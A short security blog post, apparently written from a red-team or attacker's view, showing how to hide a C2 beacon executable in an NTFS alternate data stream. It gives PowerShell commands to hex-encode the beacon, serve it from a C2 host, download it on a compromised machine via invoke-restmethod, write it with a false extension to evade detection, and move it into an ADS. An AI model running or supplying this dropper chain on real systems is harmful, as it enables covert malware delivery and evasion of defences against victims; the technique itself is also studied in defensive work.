Home Hiding In Alternate Data Streams

Hiding In Alternate Data Streams

    While reading Gray Hat Python, I came across another interesting tactic of hiding files in what's known as alternate data streams. I had previously seen this used by Microsoft to tag files downloaded from the internet with MOTW in the Zone.Identifier so that macros don't execute, and I've seen it used to hide simple txt files inside of another.

    Gray Hat Python though was using an ADS to hide a full on executable. This seemed like a nifty way to bypass detection since it didn't change the file hash but I had trouble maintaining the ADS when copying the file to another victim machine. This is a common issue. The workaround that I came up with was to convert the executable that I want to hide into bytecode, serve it on a simple HTTP server, then have the victim machine write the code to disk in an invalid format to evade detection before moving it into an ADS. I found a handy tip on Stackoverflow to do just this. 

    First up, on our C2, we must get the bytes content of our executable.

[byte[]]$data = [System.IO.File]::ReadAllBytes('.\Desktop\beacon.exe') 

    Then, we write the contents of this data to index.html intending to serve this with Pythons simple HTTP server.

[System.IO.File]::WriteAllText('index.html',[System.BitConverter]::ToString($data).Replace('-',''), [System.Text.Encoding]::ASCII)

    After this, just ensure port 8000 is accessible on your machine and start your Python server in the same directory.

    Now, on our compromised host, the dropper script.

    Our dropper first runs invoke-restmethod which, similar to invoke-webrequest, does a GET to a webpage but only retrieves the content and not the meta data or anything else. A cool feature as well of restmethod is that it will automatically parse any Json retrieved.

invoke-restmethod 'http://c2.culbertreport.com:8000' | Tee-Object -Variable hex

    Then, once we have the hex downloaded, we write it to disk with an invalid file extension. This is just to help it evade detection before we move it into an ADS.

[System.IO.File]::WriteAllBytes('C:\users\public\ht.html', ($hex -split '(.{2})' -ne '' -replace '^', '0X'))

    After it's been written to disk, we then move it into a files alternate data stream and finally give it a valid file extension of .exe. 

    To do this, the first attempt used a Python script taken from Gray Hat Python. But we should be able to accomplish the same thing with Powershell. There are many sources I found that were adding data to an ADS, but they all were along the lines of type beacon.exe > filepath\goodfile.txt:beacon.exe. This was causing issues because now Powershell only expects one semicolon in the path. I found this source which was adding calc.exe to an ADS. So, following along and using Set-Content, we can add the bytestream of our downloaded file to an ADS:

set-content -path .\newfile.txt -value $(Get-Content ht.html -readcount 0 -encoding byte) -encoding byte -stream beacon.exe

    And finally, we have it working!

    These streams can be found using the Get-Item command.

This post is licensed under CC BY 4.0 by the author.